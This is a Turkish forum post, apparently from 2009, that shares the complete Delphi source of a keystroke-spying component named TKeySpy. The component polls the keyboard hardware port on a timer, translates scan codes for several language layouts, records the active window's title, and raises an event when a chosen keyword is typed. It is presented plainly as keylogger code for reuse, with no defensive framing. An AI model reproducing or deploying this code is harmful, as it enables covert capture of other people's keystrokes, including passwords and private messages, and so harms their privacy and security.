GERÇEK PAYLAŞIMI BİLENLERİN MEKANI
HOŞGELDİNİZ...

GERÇEK PAYLAŞIMI BİLENLERİN MEKANI

,.-~*´¨¯¨`*·~-.¸-(_FRM¥ØK¥ØK_)-,.-~*´¨¯¨`*·~-.¸
 
AnasayfaTakvimSSSAramaÜye ListesiKayıt OlGiriş yap

Paylaş | 
 

 Keyhook basılan tuşu anlama

Aşağa gitmek 
YazarMesaj
KaRaKuLe
Admin
Admin
avatar


MesajKonu: Keyhook basılan tuşu anlama   Cuma Mart 27, 2009 12:04 am

unit KeySpy;
interface
uses
{$IFDEF WIN32} Windows, {$ELSE} WinTypes, WinProcs,{$ENDIF}
SysUtils, Controls, Classes, Messages, Forms;
type
TSpyLayout = (klAmerican, klItalian, klRussian, klPortuguese, klGerman, klFrench);
TOnKeySpy = procedure(Sender: TObject; Key: Byte; KeyStr: String) of object;
{$IFDEF Win32}
TOnLayoutChanged = procedure(Sender: TObject; Layout: String) of object;
{$ENDIF}
TOnActiveWindowChanged = procedure(Sender: TObject; ActiveTitle: String) of object;
TKeySpy = class(TComponent)
private
{$IFDEF Win32}
CurrentLayout: String;
FActiveLayout: String;
{$ENDIF}
CurrentActiveWindowTitle: String;
FActiveWindowTitle: String;
FSpyLayout: TSpyLayout;
FWindowHandle: HWnd;
FOnKeySpyDown, FOnKeySpyUp: TOnKeySpy;
FOnKeyword: TNotifyEvent;
{$IFDEF Win32}
FOnLayoutChanged: TOnLayoutChanged;
{$ENDIF}
FOnActiveWindowChanged: TOnActiveWindowChanged;
FEnabled: Boolean;
FKeyword,
KeyComp: String;
OldKey: Byte;
LShiftUp, RShiftUp: Boolean;
procedure UpdateTimer;
procedure SetEnabled(Value: Boolean);
procedure SetKeyword(Value: String);
procedure WndProc(var Msg: TMessage);
procedure SetNothingStr(Value: String);
protected
procedure KeySpy; dynamic;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property ActiveWindowTitle: String read FActiveWindowTitle write SetNothingStr;
property Enabled: Boolean read FEnabled write SetEnabled;
property Keyword: String read FKeyword write SetKeyword;
property SpyLayout: TSpyLayout read FSpyLayout write FSpyLayout;
{$IFDEF Win32}
property ActiveLayout: String read FActiveLayout write FActiveLayout;
{$ENDIF}
property OnKeySpyDown: TOnKeySpy read FOnKeySpyDown write FOnKeySpyDown;
property OnKeySpyUp: TOnKeySpy read FOnKeySpyUp write FOnKeySpyUp;
property OnKeyword: TNotifyEvent read FOnKeyword write FOnKeyword;
{$IFDEF Win32}
property OnLayoutChanged: TOnLayoutChanged read FOnLayoutChanged write FOnLayoutChanged;
{$ENDIF}
property OnActiveTitleChanged: TOnActiveWindowChanged read FOnActiveWindowChanged write FOnActiveWindowChanged;
end;
procedure Register;
implementation
{$I KLayouts.inc}
constructor TKeySpy.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
LShiftUp := True;
RShiftUp := True;
FEnabled := True;
FWindowHandle := AllocateHWnd(WndProc);
if FEnabled then UpdateTimer;
end;
destructor TKeySpy.Destroy;
begin
FEnabled := False;
UpdateTimer;
DeallocateHWnd(FWindowHandle);
inherited Destroy;
end;
procedure TKeySpy.WndProc(var Msg: TMessage);
begin
with Msg do
if Msg = WM_TIMER then
try
KeySpy;
except
Application.HandleException(Self);
end
else
Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;
procedure TKeySpy.UpdateTimer;
var
b: Byte;
begin
KillTimer(FWindowHandle, 1);
if FEnabled then
begin
asm
mov al, 60h
mov b, al
end;
OldKey := b;
if SetTimer(FWindowHandle, 1, 1, nil) = 0 then
raise EOutOfResources.Create('No timers');
end;
end;
procedure TKeySpy.SetEnabled(Value: Boolean);
begin
if Value <> FEnabled then
begin
FEnabled := Value;
UpdateTimer;
end;
end;
procedure TKeySpy.SetKeyword(Value: String);
begin
Value := LowerCase(Value);
if Value <> FKeyword then
FKeyword := Value;
end;
procedure TKeySpy.KeySpy;
var
PC: Array[0..$FFF] of Char;
Key: Byte;
St: String;
Wnd: hWnd;
begin
{$IFDEF Win32}
Wnd := GetForegroundWindow;
{$ELSE}
Wnd := GetActiveWindow;
{$ENDIF}
SendMessage(Wnd, wm_GetText, $FFF, LongInt(@PC));
FActiveWindowTitle := StrPas(PC);
if CurrentActiveWindowTitle <> FActiveWindowTitle then
begin
CurrentActiveWindowTitle := FActiveWindowTitle;
if Assigned(FOnActiveWindowChanged) then
FOnActiveWindowChanged(Self, FActiveWindowTitle);
end;
{$IFDEF Win32}
GetKeyboardLayoutName(PC);
FActiveLayout := StrPas(PC);
if (FActiveLayout <> CurrentLayout) then
begin
CurrentLayout := FActiveLayout;
if Assigned(FOnLayoutChanged) then
FOnLayoutChanged(Self, FActiveLayout);
end;
{$ENDIF}
asm
in al, 60h
mov Key, al
end;
if Key = 170 then
begin
Key := 84;
LShiftUp := True;
end;
if Key = 182 then
begin
Key := 85;
RShiftUp := True;
end;
if Key = 42 then LShiftUp := False;
if Key = 54 then RShiftUp := False;
if Key <> OldKey then
begin
OldKey := Key;
if Key <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key])
else
St := StrPas(HiButtonName[Key]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key])
else
St := StrPas(ItalianHiButtonName[Key]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key])
else
St := StrPas(RussianHiButtonName[Key]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName[Key])
else
St := StrPas(PortugueseHiButtonName[Key]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key])
else
St := StrPas(GermanHiButtonName[Key]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key])
else
St := StrPas(FrenchHiButtonName[Key]);
end;
if Assigned(FOnKeySpyDown) then
FOnKeySpyDown(Self, Key, St);
if Assigned(FOnKeyword) then
begin
KeyComp := KeyComp + St;
if Length(KeyComp) > Length(FKeyword) then
begin
Move(KeyComp[Length(St) + 1], KeyComp[1], Length(KeyComp));
{$IFDEF WIN32}
SetLength(KeyComp, Length(FKeyword));
{$ELSE}
KeyComp[0] := char(Length(FKeyword));
{$ENDIF}
end;
if LowerCase(KeyComp) = FKeyword then
FOnKeyword(Self);
end;
end
else
if Key - 128 <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key - 128])
else
St := StrPas(HiButtonName[Key - 128]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key - 128])
else
St := StrPas(ItalianHiButtonName[Key - 128]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key - 128])
else
St := StrPas(RussianHiButtonName[Key - 128]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName[Key - 128])
else
St := StrPas(PortugueseHiButtonName[Key - 128]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key - 128])
else
St := StrPas(GermanHiButtonName[Key - 128]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key - 128])
else
St := StrPas(FrenchHiButtonName[Key - 128]);
end;
if Assigned(FOnKeySpyUp) then
FOnKeySpyUp(Self, Key, St)
end;
end;
end;
procedure TKeySpy.SetNothingStr(Value: String); begin {} end;
procedure Register;
begin
RegisterComponents('UtilMind', [TKeySpy]);
end;
end.
Sayfa başına dön Aşağa gitmek
 
Keyhook basılan tuşu anlama
Sayfa başına dön 
1 sayfadaki 1 sayfası
 Similar topics
-
» Diyemiyorum

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
GERÇEK PAYLAŞIMI BİLENLERİN MEKANI :: BİLGİSAYAR DÜNYASI :: Yazılım :: DelpHi-
Buraya geçin: